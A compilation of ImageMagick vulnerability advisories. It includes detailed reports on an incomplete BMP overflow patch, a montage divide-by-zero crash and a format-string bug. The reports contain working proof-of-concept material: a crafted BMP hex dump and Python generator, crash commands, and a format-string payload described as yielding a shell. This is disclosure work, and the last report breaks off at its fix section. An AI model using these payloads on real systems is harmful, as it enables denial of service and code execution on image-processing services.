ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-21 and 6.9.13-46, a malicious MIFF file could trigger an overflow when a user opens it in the display tool and right-clicks a tile to invoke the Load / Update menu item. This vulnerability is fixed in 7.1.2-21 and 6.9.13-46.

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, the viff encoder contains an integer truncation/wraparound issue on 32-bit builds that could trigger an out of bounds heap write, potentially causing a crash. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.

ImageMagick before 7.1.2-33 and 6.9.13-58 contains a heap buffer underwrite vulnerability in DecodeImage() in coders/pict.c on 32-bit builds due to pointer arithmetic overflow. Attackers can supply a crafted PICT file with maximized row, column and bytes-per-line values to bypass bounds checks and write up to 128 controlled bytes below the heap buffer, causing crashes or code execution.

A stack overflow vulnerability in ImageMagick's FX expression parser allows an attacker to crash the process by providing a deeply nested expression.

A heap-buffer-overflow flaw was found in ImageMagick’s PushShortPixel() function of quantum-private.h file. This vulnerability is triggered when an attacker passes a specially crafted TIFF image file to ImageMagick for conversion, potentially leading to a denial of service.

ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, when a PCD file does not contain a valid Sync marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the Sync marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service. Versions 7.1.2-15 and 6.9.13-40 contain a patch.

ImageMagick before 7.1.2-32 and 6.9.13-57 contains a policy bypass vulnerability in LoadPolicyCache that silently skips security policy rules when policy.xml uses an alternate DOCTYPE. A valid DOCTYPE not ending in ']>' makes the parser consume the rest of the file, so no policy rules are applied and restricted operations become allowed.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains a stack overflow in the MSL decoder caused by an incorrect depth check that fails to limit recursion. Attackers can supply a set of crafted MSL images that exhaust the stack when one of them is read, crashing the process and causing a denial of service.

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions: - ImageMagick < 7.1.2-2 (originally reported) - ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements: - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires sizet = 4 bytes. (64-bit systems are NOT vulnerable (sizet = 8 bytes)) - Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

---

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

c // Line 1120: Integer overflow happens HERE extent = image->columns bmpinfo.bitsperpixel; // OVERFLOW!

// Line 1121: Uses already-overflowed value bytesperline = 4((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system): Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32

Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000) 32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO! bytesperline = 4 × ((0 + 31) / 32) = 4 × 0 = 0 BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow!

The check fails because: 1. The overflow happens at Line 1120 (extent calculation) 2. extent becomes 0 due to 32-bit truncation 3. bytesperline is calculated as 0 (Line 1121) 4. BMPOverflowCheck(0, 1) returns False (no overflow detected) 5. Code proceeds with corrupted values → ASan crash

---

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump: 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|

Key Fields: - Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912) - Offset 0x16: Height = 01 00 00 00 = 1 - Offset 0x1C: BPP = 20 00 = 32

Python Generator

python #!/usr/bin/env python3 import struct

width = 0x20000000 # 536,870,912 height = 1 bpp = 32

BMP File Header (14 bytes) fileheader = b'BM' fileheader += struct.pack('<I', 58) # File size fileheader += struct.pack('<HH', 0, 0) # Reserved fileheader += struct.pack('<I', 54) # Pixel offset

DIB Header (40 bytes) dibheader = struct.pack('<I', 40) # Header size dibheader += struct.pack('<i', width) # Width dibheader += struct.pack('<i', height) # Height dibheader += struct.pack('<H', 1) # Planes dibheader += struct.pack('<H', bpp) # BPP dibheader += struct.pack('<I', 0) # Compression dibheader += struct.pack('<I', 0) # Image size dibheader += struct.pack('<i', 2835) # X ppm dibheader += struct.pack('<i', 2835) # Y ppm dibheader += struct.pack('<I', 0) # Colors dibheader += struct.pack('<I', 0) # Important colors

pixeldata = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f: f.write(fileheader + dibheader + pixeldata)

print(f"Created overflow.bmp (58 bytes)")

---

Reproduction Steps

Environment Setup

bash Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash

Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev

Download ImageMagick 7.1.2-5 cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

bash Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

Trigger the Vulnerability

bash Set environment to bypass cache.c limits export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocatormayreturnnull=1" export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000

Test with malicious BMP (use Python script above to create it) ./utilities/magick identify overflow.bmp

---

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asanpoisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asandescriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested asanhandlenoreturn: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICKWIDTHLIMIT=2000000000 export MAGICKHEIGHTLIMIT=2000000000 export MAGICKAREALIMIT=10000000000

Impact

Attack Scenario

1. Attacker creates a 58-byte malicious BMP file 2. Uploads to web service that uses ImageMagick (on 32-bit system) 3. ImageMagick attempts to process the image 4. Integer overflow triggers AddressSanitizer crash 5. Service becomes unavailable (Denial of Service)

Real-world targets: - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images

---

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmpinfo.bitsperpixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate extent = image->columns bmpinfo.bitsperpixel; bytesperline = 4((extent+31)/32);

// Additional safety check if (BMPOverflowCheck(bytesperline, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

c // Force 64-bit calculation uint64t extent64 = (uint64t)image->columns (uint64t)bmpinfo.bitsperpixel;

if (extent64 > UINT32MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (sizet)extent64; bytesperline = 4((extent+31)/32);

Credits wooseokdotkim wooseokdotkim@gmail.com

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, Magick frees the memory of the XML tree via the DestroyXMLTree() function; however, this process is executed recursively with no depth limit imposed. When Magick processes an XML file with deeply nested structures, it will exhaust the stack memory, resulting in a Denial of Service (DoS) attack. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains uncontrolled recursion in the MVG decoder that can exhaust the program stack. An attacker who controls a file name processed by ImageMagick can trigger a stack overflow that crashes the process, causing a denial of service.

A heap-based buffer overflow issue was found in ImageMagick's PushCharPixel() function in quantum-private.h. This issue may allow a local attacker to trick the user into opening a specially crafted file, triggering an out-of-bounds read error and allowing an application to crash, resulting in a denial of service.

ImageMagick before 7.1.2-26 (and 6.x before 6.9.13-51) contains a memory leak in the TIFF encoder that occurs when a temporary file cannot be created, resulting in a small memory leak.

ImageMagick before 7.1.2-26 contains a memory leak vulnerability in the VIFF encoder when memory allocation fails. Attackers can trigger allocation failures by processing specially crafted VIFF images to exhaust available memory and cause denial of service.

ImageMagick before 7.1.2-26 contains a use-after-free vulnerability in the FormatMagickCaption method when memory allocation fails. Attackers can trigger memory allocation failures to cause a dangling pointer to reference freed memory, potentially enabling denial of service or code execution.

ImageMagick before 7.1.2-26 and 6.9.13-x before 6.9.13-51 contains a policy bypass vulnerability in the -script operation due to missing security policy checks. This allows reading files from paths that are otherwise disallowed by the configured security policy.

ImageMagick before 7.1.2-26 contains a heap use-after-free vulnerability caused by missing null check when parsing XMP profiles. Attackers can craft malicious image files with specially crafted XMP data to trigger the vulnerability and cause application crashes.

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains an injection vulnerability in the MVG encoder, which does not properly neutralize user-specified drawing options before writing them into generated MVG output. Attackers who can supply drawing options can inject arbitrary MVG drawing commands into the resulting MVG file.

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a heap-based buffer overflow in the X11 animate operation when processing crafted images. Attackers can supply a malicious image that, when a user runs an X11 animate operation on it, overwrites heap memory and can crash the application.

ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 incorrectly parses delegate invocations, which can allow an executable blocked in policy.xml to still run. An attacker who gets ImageMagick to process input that triggers a delegate invocation can bypass the administrator-defined policy and execute the blocked program.

Summary Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service.

Details Root Cause 1. montage -geometry ":" ... reaches MagickCore/geometry.c:GetGeometry(). 2. StringToDouble/InterpretLocaleValue parses ":" as 0.0; then: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355 WidthValue (and/or HeightValue) is set with a zero dimension. 3. In MagickCore/resize.c:ThumbnailImage(), the code computes: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629 causing a division by zero and immediate crash.

The issue is trivially triggerable without external input files (e.g., using xc:white).

Reproduction Environment Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x8664 0ba1b587b:20250812 https://imagemagick.org Features: Cipher DPC HDRI Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib Compiler: clang (14.0.0) OS/Arch: Linux x8664 Steps ./bin/magick montage -geometry : xc:white null: Observed result IOT instruction (core dumped) (Environment-dependent: SIGFPE/abort may be observed.)

PoC No external file required; the pseudo image xc:white suffices: ./bin/magick montage -geometry : xc:white null:

Impact - Denial of Service: A divide-by-zero in ThumbnailImage() causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process.

Suggested fix Defensively reject zero dimensions early in ThumbnailImage(): c if ((columns == 0) || (rows == 0)) { (void) ThrowMagickException(exception, GetMagickModule(), OptionError, "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g", (double) columns, (double) rows); return (Image ) NULL; } Additionally, consider tightening validation in GetGeometry() so that colon-only (and similar malformed) inputs do not yield WidthValue/HeightValue with zero, or are rejected outright. Variants like "x:" or ":x" may also need explicit handling (maintainer confirmation requested).

Credits Team Daemon Fuzz Hunters Bug Hunting Master Program, HSpace/Findthegap <br>

Woojin Park @jin-156 1203kids@gmail.com

Hojun Lee @leehohojune leehojune@korea.ac.kr

Youngin Won @amethyst0225 youngin04@korea.ac.kr

Siyeon Han @hanbunny kokosyeon@gmail.com

Summary A format string bug vulnerability exists in InterpretImageFilename function where user input is directly passed to FormatLocaleString without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br>

Details root cause MagickExport sizet InterpretImageFilename(const ImageInfo imageinfo, Image image,const char format,int value,char filename, ExceptionInfo exception) {

...

while ((cursor=strchr(cursor,'%')) != (const char ) NULL) { const char q = cursor;

ssizet offset = (ssizet) (cursor-format);

cursor++; / move past '%' / if (cursor == '%') { / Escaped %%. / cursor++; continue; } / Skip padding digits like %03d. / if (isdigit((int) ((unsigned char) cursor)) != 0) (void) strtol(cursor,(char ) &cursor,10); switch (cursor) { case 'd': case 'o': case 'x': { ssizet count;

count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(sizet) (MagickPathExtent- offset)); cursor++; break; } When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> MagickExport ssizet FormatLocaleString(char magickrestrict string, const sizet length,const char magickrestrict format,...) { ssizet n;

valist operands;

vastart(operands,format); n=FormatLocaleStringList(string,length,format,operands); vaend(operands); return(n); } MagickPrivate ssizet FormatLocaleStringList(char magickrestrict string, const sizet length,const char magickrestrict format,valist operands) { ... n=(ssizet) vsnprintfl(string,length,format,locale,operands); Inside FormatLocaleString, the variable argument list is initialized through vastart, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> PoC 1. Heap overflow read tested on development container root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x8664-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in libcstartmain (/lib/x8664-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x8664-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br>

2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%17995c%hn%c%c%c%c%c%c%c%c%c%65529c%hn%93659c%2176\$hn%233c%2194\$hhnaaaaaaaaa The exploit achieves remote code execution by leveraging format string vulnerabilities to perform a write-what-where attack. The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br>

Exploitation Process: 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes /bin/sh with inherited process permissions <br>

Remote Exploitation Feasibility: While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br>

Important: The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure.

Note: This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br>

Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges.

The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br>

Suggested Fix

Two potential mitigation approaches:

